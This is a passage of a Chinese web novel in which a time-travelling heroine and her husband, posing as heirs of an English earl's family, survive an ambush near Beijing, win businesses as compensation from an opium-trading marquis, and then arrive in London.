话筒里温一荣的声音略有失真,沉稳的语气不失温和,“我知道,我会尽快去天津卫,家里人都好,你不用担心。” 挂掉电话,温苒总觉得心里不是滋味。 大哥最看重家人,因为这些年连番的遭 遇,曾经那么温和的人被逼的一点点变得坚硬冷漠。 如今大家同去美国,却要独留下他自己。 霍骁北低头看着躲到自己怀里的人,猜测她肯定眼睛通红,偷偷摸摸掉泪。 掌心轻抚过她的头发,霍骁北无奈地叹气,“我们还有几年时间,处理好工厂的事务再离开也不迟,到时一起去美国,后续只需要大哥每年定期往返两国。” 温苒的声音闷闷地传出来,“嗯。” 她只是突然生出来一种感觉,每个人都有自己想做的自己要做的,身边重要的人会一个个陆续离开,而她却无法阻止。 生离死别,这些是上辈子才活了二十几年的温苒不曾切身体会到的。 上海的公馆里,电话挂掉所有人都动起来,围上温一荣追问。 温老汉:“一荣是小苒的电话不?啥事你快说?” 宋守言:“你也要去天津卫?为啥?是不是认亲出乱子了?” 说起来那五个人一走走了大半年,过年都没回,如今已经快到光绪二十二年的端午节了。 温一荣言简意赅地解释,“那边一切都好,是伯爵……” 他顿了顿,“是妹夫的叔祖父,给了小妹两家工厂,让我过去管理。” 啥? 送了两家工厂? 不是? 工厂那是能说送就送的吗? 恕她们孤陋寡闻,听过送地送宅子送庄子的,真没听过送工厂的。 大伯温向生拍了拍儿子肩膀,他现在眼前都发飘,“一荣你别去,你啥也不懂给你小妹把厂子办砸了咋办?” 张玉香拱开自家男人,“你一边儿去!你会不会说话我儿子咋就啥也不懂了?你个脑仁比不过花生大的,你还想不明白吗?那厂子是人家霍家给小苒的聘礼!” 温老汉反应过来,用力拍了下大腿,“是啊!还是玉香脑子灵,老大你滚一边儿去,听你媳妇儿说。” 温向生委屈巴巴地缩脖子,得,他还是别碍着聪明人了。 宋守言也颇觉张玉香的话有理,“小苒手上没有可用的人,一荣是她大哥,他去管倒也合适。” “只不过,”他慢吞吞吐出口烟,正色道:“一荣,咱们都要去美国,你管着厂子就得留下来,你、你好好想想吧。” 经宋守言这么一提醒,大家都回过这个意思来。 对啊! 管着两家厂子那是能说走就走的吗? 缩成鹌鹑的温向生第一个不答应,“不成!不成不成!一荣得跟我们一起走!” 张玉香也犹豫了,厂子什么不要就不要了,儿子可是亲生的! 但知儿莫若母,刚才她亲耳听见儿子的话,儿子说想试一试,儿子说要去天津卫…… 张玉香一咬牙一狠心,说道:“一荣你想留就留!” 温向生嗖地扭过头,差点儿给脖子都扭过,傻眼地看着自己婆娘。 “你你你他娘你见钱眼开连儿子也不要了?!” 张玉香抬腿就是一脚,头也不回地看着儿子,“但你要答应娘一件事,我们去美国之前你要娶妻成亲!” 这话一出,先前还咋呼的温向生老实了,服气了,开心了。 他小鸡啄米一样点头,“对对对!成亲!只要你成亲,你想去哪儿就去哪儿,只要定期回来看看我跟你娘就行。” 温一荣:“……” 温一荣今年二十三,逃难那一年他十六,如今七年过去,别说成亲,他七年前只认识周三娘她们三个女子,七年后还是只认识她们三个女子。 这七年里,温一荣除了工作就是看书。 温一茂都叫人鼓动着曾经对妓院产生了好奇心,温一荣那可是雷打不动的清心寡欲。 和霍骁北有的一拼。 不过霍骁北是迫不得已,谁让那时候温苒年纪小,也就这两年才能做点别的。 说到这个连温老汉也来劲了,“一荣,你喜欢什么样的女子?现在咱家有了点积蓄,买得起宅子置得了庄子,你想娶个读书识字的大家闺秀,有门第的瞧不上咱,咱可以找那家道中落的,你说咋样?” 其实温老汉觉着小孙女的三个玩伴都不错,年纪最小的那个小菊跟他二孙子看对眼了,另外两个他正打算鼓动鼓动,万一就有哪个转错筋瞧上这个和尚孙子呢? 温一荣头疼,“郭大哥都快三十岁了都没成亲,郭二哥也是,我年纪也不算大,说不定我就是算命术士讲的适合晚婚的人呢?” 郭晨:“……” 你说少爷就说少爷,你说我做什么? 那是我不想吗?那还不是人家都瞧不上我? 宋守言一看给这孩子烦的,顿时笑了,举着烟斗点了点几个猴急的家长,“你们就别瞎操心了,孩子都没开窍呢。再说他这情况正合适留下来,一边找媳妇儿一边给小苒看厂子,难不成你们还想他找个洋人姑娘当媳妇儿不成?” 啊这? 那当然更不行了! 端午节后,温一荣带着家人满满的祝福,指一大包粽子,踏上了前往天津卫的船。 温一荣离开,公馆里大小事都由郭晨处理。 轮船行到天津港,温一荣西装革履地走下船。 港口等候的一群人涌上来。 周凯夺过箱子,“大哥你可算来了!” 温一茂胳膊搂过兄弟,“我们准备了大餐,想吃什么都有!” 霍骁北:“先上车。” 两辆轿车一前一后,温一茂和周凯在后,由老管家开车,温一荣和霍骁北温苒在前,由郭朝宗开车。 路上,温苒向他大致介绍了这边的情况,以及她们对工厂的安排。 “工厂这边稳定下来以后,只需要每年定期过来检查工作,上海到美国有直达的轮船,来往还算方便,大哥你说呢?” 温一荣听完,打从心底里松了口气。 “最好不过。” 温苒看他这个反应,疑惑:“大哥?” 温一荣扯起嘴角苦笑,“爹娘还有爷爷想让我成亲。” 温苒攥紧了拳头,咬着嘴唇,“……哦。” 温一荣木着脸,“想笑就笑吧。” 温苒笑倒在霍骁北身上。 公馆里,老伯爵仰面躺在沙发上,一杯红酒又一杯红酒,简直不亦说乎! 不知不觉两瓶红酒下肚,老伯爵打了个酒嗝,面上通红。 仆人来报,老伯爵晕乎乎听他说:“伯爵大人,子爵和夫人的车子已经到了门口。” 老伯爵目光呆滞,少顷一个弹跳蹦起来,“快快快!把酒杯酒瓶都收起来千万不能让威廉和索菲亚知道!” 不然威廉一定会用那种黑漆漆的让人害怕的眼神看着他! 索菲亚会抽出长长的银针扎进他的身体!还会煮黑乎乎的又苦又恶心的魔药逼他喝下去! 一阵兵荒马乱后,老头儿偷酒喝的秘密还是被发现了。 笑话,书房里那么浓的酒气,霍骁北又不是鼻子坏了。 老霍斯廷斯坐在沙发一角,驼背躬腰,竭力缩成一团,“威廉,叔祖父只是口渴了……” 霍骁北不说话,眼神淡淡的,就那么盯着他。 然后老霍斯廷斯就说不下去了。 威廉这眼神太可怕了,比当年他淘气弄坏来自华国的精美瓷器时祖父的眼神还要可怕。 老霍斯廷斯低头认错,“威廉,叔祖父错了,叔祖父自愿放弃这个月的奖励时间。” 温苒:“……” 知道错了还耍心眼儿呢?这老头儿真是不见棺材不落泪。 霍骁北站起来,老霍斯廷吓得一抖,“威廉……” 霍骁北:“半年。” 老霍斯廷斯蹦起来,“半、半年?!不可以!我不接受!” 霍骁北抿直唇线,冷冷瞥了他一眼,一言不发转身就走。 老霍斯廷斯急了,“好好好,半年就半年,叔祖父答应。” 霍骁北站定,挑了挑眉,却改口:“一年。” “今天夫人的堂兄到天津卫,您却一身酒气,如此失礼。” 老霍斯廷斯:“……” 老霍斯廷斯老眼含泪,“好,一年!” 三人下楼,温苒没忍住,偏头笑出声来。 可能这就是所谓的一物降一物吧,老头儿就吃霍骁北这一套。 察觉到什么,走在前面的老霍斯廷斯猛地回头,刚好捕捉到温苒脸上没来得及消散的笑意。 老霍斯廷斯怒目而视。 温苒立马换上微笑,笑盈盈道:“小心路啊,叔祖父。” 老霍斯廷斯转回头去,算了,她也是关心自己。 见到温一荣,老霍斯廷斯 比初见温一茂和周凯时还要高兴。 “索菲亚,你还有别的兄弟吗?你大哥温和儒雅风度翩翩,二哥和弟弟英俊高大,都很优秀。” 最重要的是,温一荣还说得一口流利的英语,两个人交流起来完全不费劲。 温一荣作为温苒的娘家人到来,老霍斯廷斯自然要尽一尽地主之谊。 逛街看戏吃包子,甚至老霍斯廷斯还安排了一趟去北京城的行程。 又一次来到主楼书房,温苒刚翻开医书,就听伯爵说要去北京。 “去北京做什么?” 说实话,她对现在的北京城还是很感兴趣的。 当年逃难路过,想着多一事不如少一事,她们连外城都没去,回想起来都可惜。 老霍斯廷斯闭着眼,手指敲在膝盖上,摇头晃脑,嘴里哼唧着不成调的曲子。 “去听戏,听说清国的太后过寿,召了一批戏班子进京,我们也去开开眼界。” 温苒视线回到医书上,好吧,这是戏瘾犯了。 老霍斯廷斯哼着曲儿,给他在华国的好友拉萨尔侯爵去了个电话。 “威廉,到时我介绍你和这位侯爵认识。拉萨尔家族是英国在华国势力的开拓者,如今输入华国的大烟有两成都来自这个家族,拉萨尔家族可谓是躺在了黄金上。” “威廉,你和索菲亚生长在华国,如果想在华国发展势力,拉萨尔侯爵是个不错的合作对象。” 霍骁北和温苒的脸色不约而同冷下来。 除两个工厂外,霍斯廷斯家族并未在华国发展其他势力。 诸如每个来华的贵族必备的大烟生意,伯爵并未涉足。 这当然不是伯爵厌恶不想不愿意,而是霍斯廷斯家族能力有限,把大部分势力投入到美洲发展,加之华国的利益都被早先前来的家族瓜分。 这也正好省下霍骁北亲自动手的机会。 他们管不了别的家族,但霍斯廷斯既然干净就一直干净下去。 可跟贩卖大烟的拉萨尔侯爵合作,绝无可能! 霍骁北冷着脸合上账本,开始编故事。 “您不是一直好奇,父亲为何多年来不向家族回信吗?” 老霍斯廷斯看着霍骁北,不明白为什么他突然就变了脸。 但这个问题确实是他一直好奇的,如果威廉能解释清楚这个问题,那他对威廉的身份就再无疑虑。 霍骁北:“祖父误入深山身亡,祖母接受不了,身体极速败坏不久也过世。” 老霍斯廷斯双眼含泪,兄长! 霍骁北:“骤然失去两位亲人,父亲染上大烟,长日沉迷虚幻中无法自拔,为了支撑大烟的消费,父亲当掉了祖母的戒指。” 老霍斯廷斯豁然起身,大烟!他的威廉侄子竟然染上了大烟?! 老霍斯廷斯失神地摇着头,喃喃自语:“难怪?难怪!” 难怪威廉堂侄一直没有任何消息! 霍骁北闭上眼睛,“为了不让父亲接触大烟,母亲尝试了很多办法,最后决定带父亲去关外。” “关外地广人稀,找一处与世隔绝的深山,过着不知岁月的日子。” “几年前母亲过世,父亲伤心欲绝很快也过世。” “我和温苒彼时刚刚成亲,为父母守孝三年后,决定去英国寻找亲人。” 老霍斯廷斯跌回了沙发上,面色惨白,抬手制止住霍骁北,“威廉,别再说了。” 温苒默默看着,不出声不说话,现场编故事这种事不是她的特长。 老霍斯廷斯只在心里庆幸,幸好,幸好家族并未涉及大烟生意。 不然,不然他只要一想到,威廉堂侄吸食的某一次大烟可能出自霍斯廷斯家族,他一定会后悔得自愿去见上帝! “但是威廉,我们只能约束霍斯廷斯家族的族人,其他家族我们无法干涉。”老霍斯廷斯干巴巴劝道。 霍骁北轻轻点头,“我知道。” 当初的计划本来就是如此。 买个爵位蹭名头,家族里其他人做什么生意暂时不掺和,后续积蓄力量一点点铲除看不过眼的。 或者,如果继承爵位掌权,就下死手整治,不能做的一个不留。 编的那个故事完美解决了老霍斯廷斯心中最大的一个疑虑,此后他待霍骁北和温苒的态度更加亲近和纵容,几乎到了她俩要星星老伯爵就一起把月亮薅下来的程度。 当然,这其中霍骁北远超预期的优秀能力是必不可少的原因。 出发去北京的路上,霍骁北开车,温苒坐副驾,老霍斯廷斯一个人独占后座。 其他人坐别的车。 “威廉,回国后你尽快接手家族事务,我好闲下来养老,去海边度假去森林打猎去我的酒庄品尝新酿的红酒……” ‘酒’字还没说出口,老霍斯廷斯就在霍骁北注视下闭上了嘴,“我知道的威廉,一年时间不能喝酒。” 天津卫和北京有直达的火车,是最近刚通的铁路。 老霍斯廷斯说道:“我们还要在华国待一段时间,下次来京城可以试一试乘坐火车,你们两个还没坐过吧?” 现如今的华国,铁路建设真正的刚刚起步,除了正在修建中的京奉铁路,只有南方上海周边存在一些洋人私建的短途铁路。 相比铁路的起步,公路的身影几乎还没有出现,在大清叫做官道更合适。 轿车慢悠悠前进,平坦的大路上,骤然出现一棵倒塌的大树。 霍骁北停下车,神情严肃,从座位下抽出两把枪丢给温苒和老霍斯廷斯,“都趴下,不要抬头。” 老霍斯廷斯从瞌睡中惊醒,“怎么了?有什么不对吗威廉?” 话音刚落,四周不知从哪儿冒出来一群人,个个手持大刀,为首的几个还有枪! 枪! 老霍斯廷斯心念急转,“是拉萨尔!” 霍骁北放下车窗露出一条缝隙,飞快给子弹上膛,抬手就是一枪。 他抽空回道:“不是。” 拉萨尔家族的主要势力在华国,而华国霍斯廷斯家族只有两家工厂,谁看得上? 子弹射穿眉心,精准地命中一名拿枪的男人。 “是他!”老霍斯廷斯躲在后座,举着胳膊放冷枪,“我看到了他的私生子!” 温苒举着她的药箱做遮挡,也是一枪一个。 后面几辆车反应过来,有枪的打枪,没枪的开车直接撞向那群人。 温苒匆匆一瞥,还看到二哥怒冲冲下车,拎着刀上去刷刷砍了两个人。 不是哥!他们有枪! 霍骁北换上新的弹夹,抬手一枪崩掉一个持枪的劫匪。 掉落的枪被别的劫匪捡起来,一梭子弹从后面的车上射过去,枪重新掉回地上。 温苒百忙之中询问老伯爵,“拉萨尔为什么要杀你?” 老霍斯廷斯也想知道原因啊! 他和拉萨尔还是戏友呢,关系一向不错,两个家族的势力范围也完全不重叠,他为什么要派人杀自己? 霍骁北缩着身体换弹夹,老霍斯廷斯一看干脆把自己的枪给他,欣慰道:“威廉你是个神枪手,你如果从军一定能成为叱咤战场的大将军!” 霍骁北接过枪,把自己的枪扔给他,“帮我换上弹夹。” 话落,又是一梭子子弹打出去。 老霍斯廷斯换好弹夹,闲下来开始回想,“难道之前约瑟夫的堂兄也是拉萨尔杀的?” 第55章 第55章1889从闯关东开始2…… 什么什么? 约瑟夫的堂兄? 温苒脱口而出问道:“约瑟夫的堂兄也是爵位继承者候选人?” 老霍斯廷斯愣了下,“是的。” 温苒:“……” 这还不明显吗? 温苒一把夺走他换号弹夹的枪,“那还有什么不明白的?约瑟夫的堂兄是约瑟夫杀的!要杀我们的 人也是约瑟夫!” 老霍斯廷斯缓缓瞪大眼睛,懊恼地锤打身下的座椅,“该死的约瑟夫!” 他瞥了眼窗外,“那拉萨尔的私生子怎么解释?他为什么也在这里?” 能有什么解释? 温苒放下药箱,外面几把枪都到了他们的人手里,形势逆转,她回老霍斯廷斯:“约瑟夫和拉萨尔做了交易。” 老霍斯廷斯爬起来坐好,“你这么一说我想起来了,拉萨尔的另一个私生子前几年意外身亡,他喝醉酒独自走夜路,被一名华人船工抢劫,死于枪杀,还是他随身携带的左轮手枪。” 正要推门下车的霍骁北:“……” 好熟悉的剧情! 背包仓库里就躺着一把左轮手枪,是他当年杀死沙麻金后的战利品。 下车处理干净劫匪,敲晕几个观战的洋人,霍骁北回到车上。 “约瑟夫和拉尔萨的私生子勾结,互相为对方清理障碍,这个事实已经很明显。”霍骁北说道。 拦路的大树被搬开,车子重新启动。 老霍斯廷斯听见这话,懊丧地闭上眼睛。 约瑟夫的堂兄英俊聪慧,他只是来华国探望自己,结果却白白丢了性命。 约瑟夫! 老霍斯廷斯攥紧了手掌,上帝不会饶恕你的。 拉萨尔的住所在北京外城的一处大宅院里。 事先通过电话,侯爵府门口有仆人列队等候。 看到轿车上霍斯廷斯的家族徽印,为首管家身份的仆人微笑着迎上来。 “日安,伯爵大人,侯爵特意邀请了四福班来府上为您接风洗尘。” 老霍斯廷斯偏头冷哼,“难为他这么大费周章了。” 管家愣住,没搞明白伯爵怎么就生气了,下意识去看车上其他人。 老霍斯廷斯心情不快,不欲交谈,沉声道:“威廉,开车。” 管家只好让开位置恭送车队进府,转过身急急忙忙跑去寻找侯爵。 宅子前院的跨院特意被清理出来,用作停车场。 下车后,马上有跟随的仆人上前引路。 老霍斯廷斯拄着拐杖大步动起来,眼神都没分一个,态度语气高傲,吩咐道:“去我的院子。” 房间和行李有仆人收拾,温苒一行在小院的正屋里悠闲喝茶。 老霍斯廷斯却心不在焉,一面是因为不远处隐隐传来的婉转曲音,一面分出心神思考待会面对拉萨尔时的态度和说辞。 约瑟夫干的蠢事! 拉萨尔私生子被枪杀一事,绝不能和霍斯廷斯家族扯上关系! 但今日,他们被拉萨尔的私生子劫杀,以及曾经过来看望他的约瑟夫堂兄被杀一事,老霍斯廷斯打定主意,必须要拉萨尔家族付出代价! 茶水下去两壶,拉萨尔侯爵人未至声先到:“我最挚爱的密友霍斯廷斯伯爵,可是遇到了不开心的事情,既然如此快随我去听场戏!” 话音落下,垂花门外走进来一个大腹便便的中年男人,金发碧眼,一身暗红色丝绸长衫,面带笑容地张开手臂表示邀请。 老霍斯廷斯重重放下茶杯,别过头去,“拉萨尔,我想,你需要先向我解释清楚。” 拉萨尔的目光飞快在温苒等一群华国面孔上掠过,迈上台阶进到屋里来,表情疑惑不解:“霍斯廷斯,你需要我解释什么?” 老霍斯廷斯挥了下手,垂首立在他身后的老管家上前,“侯爵大人,伯爵在来京城的路上,遇到您的私生子罗曼斯克。” 拉萨尔侯爵自顾自上前,坐到主位老霍斯廷斯一侧,看向他询问:“莫非是罗曼斯克以下犯上?” 老霍斯廷斯冷哼着别开头。 拉萨尔侯爵看到他的反应,心知这次的事情恐怕不能善了,不由在心里怒骂罗曼斯克蠢货。 老管家收到伯爵的眼神,继续往下说道:“罗曼斯克带领一伙侍卫,刀枪齐备,向伯爵的车队发起攻打。” “侯爵大人,望您知晓。” “什么?” 拉萨尔侯爵刚举起的茶杯摔回桌上,他拍桌而起,满脸的不可置信和火冒三丈,“他怎么敢?” 拉萨尔侯爵比起愤怒,更加难以置信,他的目光转向老霍斯廷斯求证,“伯爵,他说的可是真的?” 老霍斯廷斯淡淡瞥了他一眼,“管家,带侯爵的私生子过来,让他亲自过问。” 人已经在他手里了…… 拉萨尔侯爵垂在两侧的手缓缓捏紧,心思转瞬定下。 他跌回座椅,锤着桌子气愤骂道:“这个逆子!我们拉萨尔家族没有这样的蠢货!” 转头,拉萨尔对着老霍斯廷斯表示歉疚,“伯爵,我的表姐夫,请你放心,罗曼斯克既然敢劫杀一位伯爵就必须要付出应有的代价,作为补偿,我将拉萨尔家族在天津卫的船厂、上海租界的一家公馆和赌馆,以及广州的一处港口送给您个人。” 老霍斯廷斯依旧沉着脸,他是那么好打发的么?他堂堂霍斯廷斯家族的家主,帝国的伯爵,难道他高贵的性命就只值这点破烂? “拉萨尔,我想你需要再看一样东西。” 老霍斯廷斯沉声说道。 拉萨尔正疑惑着,余光瞥见侧前方飞来一道黑影,他下意识抬手接住,熟悉的物件落在手里,那是一把左轮手枪。 不对! 这是他父亲的遗物! 拉萨尔失态地站起来,呼吸急促,焦急地翻动着手枪,最终在枪身上隐秘一角看到了熟悉的家族印记。 那一瞬,他的呼吸好似都停滞下来。 老霍斯廷斯此时倒一改刚才的冷漠,端起茶杯很有闲情逸致地品尝,“这是我兄长的孙子,威廉在罗曼斯克身上搜到的,我想,拉萨尔侯爵,你应当知道这意味着什么。” 拉萨尔紧咬着牙,脖颈的青筋迸发出来,想来若不是顾及着老霍斯廷斯,他现在就会冲到罗曼斯克面前,送这个蠢货去见上帝。 拉萨尔小心地收起手枪,整理好情绪,郑重说道:“霍斯廷斯伯爵,您以及您的家族,会永远是我拉萨尔的挚友!” 说的好听,光说有什么用? 老霍斯廷斯放下茶杯,吐出一个地名:“南洋。” 拉萨尔侯爵真挚感激的面容扭曲一瞬,狠下心道:“南洋两万英亩的种植园,算我的谢礼,表姐夫。” 拉萨尔没有着急离开,而是继续和老霍斯廷斯联络感情,“威廉回归的宴会我没办法亲自参加,但表姐夫放心,届时我一定有重礼送上。” 老霍斯廷斯听到这话,板着的脸上终于露出一个真心实意的笑容。 “拉萨尔,你也会是我霍斯廷斯的挚友,威廉是我兄长留在世上的唯一血脉,他是爵位当之无愧的继承人。” “另外,拉萨尔你在伦敦的出版社我很感兴趣,威廉带回来了兄长地质研究的手稿,我打算整理成册替兄长发表出来,如果你能出一份力兄长天堂有知会很欣慰。” 老霍斯廷斯假笑着,三言两语从拉萨尔手里再抠出来一家出版社。 讲实话,自从知道威廉堂侄因吸食鸦片而身体衰败早亡后,老霍斯廷斯就对这些种植贩卖大烟的家族再没有好感。 但不妨碍他狮子大开口地索要好处。 拉萨尔能怎么办? 私生子劫杀对方,不仅失败还被抓个正着送到他眼前,把他的里子面子丢尽了,他还能坐着说话都是因为他侯爵的身份比对方高一等。 还有左轮手枪一事,理亏在前,感激在后,只要没有触动拉萨尔家族利益,拉萨尔侯爵愿意出点血。 虽然拉萨尔家族在伦敦的出版社名声响当当,甚至在前三之列。 随着交易敲定,罗曼斯克最终并没有出来的机会。 拉萨尔侯爵满面怒容地离开,老管家在伯爵的授意下,陪同侯爵前去处理罗曼斯克。 很快,老管家回来复命:“侯爵逼问出,他最宠爱的另一名私生子被人杀害,是受罗曼斯克指使。” 老霍斯廷斯皱眉,“他问出来了?” 老管家摇头,“并未。” “拉萨尔侯爵怒火中烧,有些失去理智,用那把左轮手枪连开三枪,唯一的一枚子弹打中罗曼斯克的心脏,罗曼斯克当场身亡。” 老霍斯廷斯松了口气,还好没问出来,万一牵扯到约瑟夫那个蠢货,他好不容易弄来的赔偿不就全没了? 丰厚的赔礼在手,老霍斯廷斯发话都交给霍骁北,怎么安排都听他的。 霍骁北沉吟道:“船厂交给夫人,租界的公馆和赌馆还有广州的港口我需要再考虑考虑,南洋的种植园不管 之前种什么今后都只种粮食水果。” “还有伦敦的出版社,等我们回国你可以亲自去看看。”老霍斯廷斯补充。 天津卫的三家厂子,尤其两家船厂完全可以合并管理。 上海的公馆和赌馆,前者作为落脚处保留下来,赌馆就需要花点心思整改。 而广州的港口,广州十三行作为清朝闭关锁国时期唯一对外的通商口,其繁荣程度不亚于上海。 但若只有一个孤零零的港口实在算不得什么,最好是跟天津卫和南洋连成线,并在广州发展其他势力做辅助。 接下来半个月,老霍斯廷斯狠狠听了几场戏,几乎听遍了那些有名的戏班子,还同有名的角儿们合照留念。 温苒和霍骁北跟了两天就没再去,守着电话处理工作。 去电天津卫伯爵公馆,派人制住约瑟夫,回去处理他。 说来得要感谢沙麻金的那把左轮手枪。 真不敢相信有这么巧的事情,沙麻金因杀掉洋人南下逃窜当了土匪,而他杀的那个洋人就是拉萨尔侯爵最宠爱的私生子,也是罗曼斯克的兄长。 罗曼斯克买通约瑟夫在天津卫暗杀他兄长,作为交易,罗曼斯克要帮约瑟夫处理他来华的堂兄。 时隔多年,约瑟夫再一次请罗曼斯克出手,劫杀老伯爵和霍骁北。 老伯爵去京城看戏,本来没带多少侍卫,以当时罗曼斯克一伙人又是枪又是刀的,搞不好还真能让他得逞。 但不怕一万就怕万一,谁让他们遇到了温苒这群人? 上海那边,郭晨带领大家转去自家的公馆,一群人忙慌慌地开始各处收拾布置。 另一家赌馆据说面积不小,地上两层地下一层,温苒让郭晨留下可用的人,其余遣散,把赌馆改造成百货大楼。 广州的港口和南洋种植园,温苒和霍骁北打算亲自过去,了解具体情况后再做安排。 从北京城离开,回天津卫的一路风平浪静。 约瑟夫其人,老霍斯廷斯交给了霍骁北处理。 据霍骁北从罗曼斯克的贴身男仆那里所知,约瑟夫帮罗曼斯克处理拉萨尔私生子时,从罗曼斯克手上索要了两家大烟馆。 这两家烟馆温苒预备改造成纺织厂的铺面,雇佣妇女裁制成衣出售。 而约瑟夫,霍骁北交给了温一荣。 要管理三家厂子,心慈手软不可,畏惧洋人亦不可,温一荣要让自己和洋人站在同一个水平线上。 温一荣的处理结果没有让人失望。 拉萨尔船厂拥功自傲势力根深蒂固的洋人总理,因被约瑟夫出言不逊怀恨在心,将约瑟夫溺死作为报复。 事情发生后,温一荣作为空降的新总经理,雷厉风行地处置了他的前任。 前任总经理的势力群龙无首,温一荣趁机收拢一部分,余下一部分杀鸡儆猴。 新官上任三把火,温一荣的每一把火都烧得又足又旺。 上海百货大楼的改造进度也很顺利。 留下周凯给大哥帮忙,温苒和霍骁北,二哥和郭朝宗,以及非要跟过去的老霍斯廷斯正式启程去南洋。 中途在上海停留半个月,老霍斯廷斯和温家人见面,由于语言隔阂,双方并没有太多交流。 南下的第二站是广州。 港口负责人来自拉萨尔家族。 老霍斯廷斯吃着早茶,询问霍骁北:“威廉,需要安排族里人来华国吗?” 继续让拉萨尔家族的人管理,这港口最终还是会回到拉萨尔家族手里。 霍骁北摇头,“不用,我夫人已经物色好了人选。” 老霍斯廷斯看了眼早起睁不开眼睛的温苒,好吧,他得承认,兄长为威廉挑选的妻子确实很优秀。 如果温苒是个男子,她一定也会做出一番事业的。 温苒看好的人选是当地的华人氏族,姓李,曾经十三行中负责药材经营的商人家族。 不过这个是旁支,目前负责家族生意的是当家少奶奶。 在广州吃完月饼,一行人南下到达南洋种植园。 两万英亩的说法水分很大。 种植园里有大片不适合种植以及未开垦的土地,种植园工人居住的村落也被算作在内,相较种植园,说是小镇更合适。 难得的是,这个种植园有一片海岸线,也不种植大麻,主要作物是热带水果。 以霍斯廷斯家族的名义向德国和美国分别采买一批拖拉机,将种植园内适合种植的土地全部开垦出来,同时收拢周边土地,招募在南洋的华工在此聚居。 粮食、药材、港口,一条就近向华国输送利益的路线悄然布局完成。 种植园由两万英亩扩大到三万英亩,连同不远处的小岛一起,交给南洋本地的亲华华裔家族齐氏管理。 光绪二十四年,1898年,距离必须离开华国的最后期限只剩不到两个月。 处理好所有事务,温苒和霍骁北前往上海,接到一家人出发去英国。 海上航行半个月后,霍斯廷斯家族的轮船停泊在伦敦港。 老霍斯廷斯的儿子詹姆斯,带着他的男友接船。 “父亲,您终于肯回国了!” 詹姆斯热情地上前想要和老霍斯廷斯拥抱,却在要接触到时,被他的大肚子拦住了。 詹姆斯低头,抬头,两眼通红,“父亲,瞧瞧您怎么瘦了这么多?您辛苦了父亲!” 老霍斯廷斯嫌弃地推开娘们唧唧的儿子,“我这是强身健体的成果,你懂什么?” 他拉来霍骁北,“介绍一下,这是你伯祖父的孙子,你堂叔的儿子,你的堂侄威廉。” 詹姆斯视线落在霍骁北身上,眼睛唰地就亮了。 “威廉,真没想到你如此英俊!” 老霍斯廷斯:“……” 他额角青筋直跳,这是你堂侄!你能不能收收你的哈喇子?! 很快詹姆斯的目光落在老霍斯廷斯身后,眼睛一次比一次亮。 “索菲亚,你简直比天使还要美丽!” “索菲亚,你的大哥如此英俊!” “索菲亚,你的二哥如此英俊!” “索菲亚,你的大伯如此英俊!” 温索菲亚苒:“……” 事已至此,难道她年过四十的大伯也要有危险了吗? 船快到伦敦时,温苒才听老伯爵坦白,他唯一的女儿伊芙丽和唯一的儿子詹姆斯都有些一言难尽。 前者,是个恋爱脑。 ——来自温苒的总结,对此,老霍斯廷斯十分赞同。 后者,是个性取向少数的同性恋。 ——对此,温苒觉得其实没有很惊讶,毕竟是在英国。 霍斯廷斯上一任伯爵的血脉,在华国流落二十多年后回归家族,并继承了属于家族的费斯特子爵爵位。 这则消息由交际花詹姆斯放出去。 此后伦敦贵族的大小宴会上,无一不是在讨论认祖归宗的费斯特子爵。 “天呐!我听说这位子爵的母亲是一名华国女人,他是一名混血!” “上帝!这、这如何是好?” “霍斯廷斯伯爵回国后,立马召画师前往城堡作画,可见其重视子爵。” “如此说来,这位子爵难不成会继承伯爵的爵位?” 想到这里,不少人都蠢蠢欲动。 霍斯廷斯虽只是个伯爵,但其家族的财富甚是可观。 虽比不上开拓华国势力的拉萨尔家族和阿伦德尔家族,可霍斯廷斯在美洲的收获亦是让人眼馋。 “那位子爵年岁几何?可有婚配?” “我妹妹毕业于皇家淑女院,我想未来伯爵夫人之位非她莫属!” 这般的吵吵闹闹中,1898年的圣诞节前,霍斯廷斯向全伦敦的贵族发出邀请,同时也是宣告:伯爵继承人、费斯 特子爵威廉霍斯廷斯的回归。 邀请函发出,最先找上门来是家族里的老古董。 “亨利,你太草率了,你怎么能确定那个混血就是你兄长的血脉?” “别忘了,亨利,当初威廉前往华国时还带了管家,万一那个混血是管家的血脉呢?” 老霍斯廷斯打断两个老东西的话,“不可能!” “为什么?” “给我们理由!无法反驳的理由!” 老霍斯廷斯吩咐管家,“去把画像拿来。” 恰巧,前任伯爵的管家,其家族也有请画师固定画像的习惯。 老霍斯廷斯早就让儿子詹姆斯确认过,威廉绝不是管家的血脉! 管家拿来十几幅画像,从前任管家的太祖父、祖父、父亲到叔祖父、叔伯兄弟,这些画像上的男人们无一例外,都仿佛使用了同一张脸。 众人:“……” 无可反驳的理由。 老霍斯廷斯让管家再喊来霍骁北,霍骁北的出现彻底消灭了他是管家血脉的可能。 老霍斯廷斯站起来走到人群中,仰着脑袋,骄傲地向大家展示炫耀。 “瞧瞧!瞧瞧!兄长的威廉如此英俊如此高大如此优雅如此高贵,威廉刚刚处理家族事务甚至不需我教导便得心应手,威廉还是个神枪手,如果他不是我们高贵的霍斯廷斯的血脉,他怎么能如此优秀?” 大家都傻眼了,哑巴了。 这让他们怎么回?否认霍斯廷斯的高贵?亦或否认威廉的优秀? 有人不甘心,还想拿混血说事。 老霍斯廷斯这几年锻炼加养生,动作敏捷,一把将那人薅过来,大吼:“不让威廉继承爵位难道让你来?你明天就能把家族败光!” 众人:“……” 这老头儿看来是铁了心了。 霍骁北一一送这些人离开,精准地喊出他们的名字和亲戚关系,寥寥几句寒暄更无意中透露出他对这些人的了如指掌。 顿时这些人就更没话说了。 送完客,霍骁北回去找温苒,走上楼梯却被人叫住。 老霍斯廷斯背着手站在对面的房间门口,“威廉,有时间带你夫人出去转转,去你祖父和祖母相识的欣百丽剧院,听说那位伊丽莎白友情出演了一场剧目。” 这个时代剧院还是以歌剧为主。 温苒和霍骁北乘轿车入城,在欣百丽剧院门口下车,交票进门。 侍者:“请问您的名字?” 霍骁北:“威廉霍斯廷斯。” 话音刚落,两人就察觉到四面八方的视线汇聚过来。 “您就是刚回国的费斯特子爵吧?我有个妹妹……” “我有个女儿……” “我妻子有个妹妹……” 刚才西装革履优雅端庄的绅士贵妇们争先恐后涌上来,没说完就被打断的话里昭示着他们的目的。 温苒:“……” 她是不是有点碍眼? 哦。 这群人其实是不是根本没看到她? 霍骁北你自己去看吧,我不打扰了。 温苒转身就走。 霍骁北第一时间追上去,“温苒!” 温苒冷着脸,“我就不打扰你相亲了。” 霍骁北:“……” 霍骁北又气又想笑,谁同意了就说相亲? 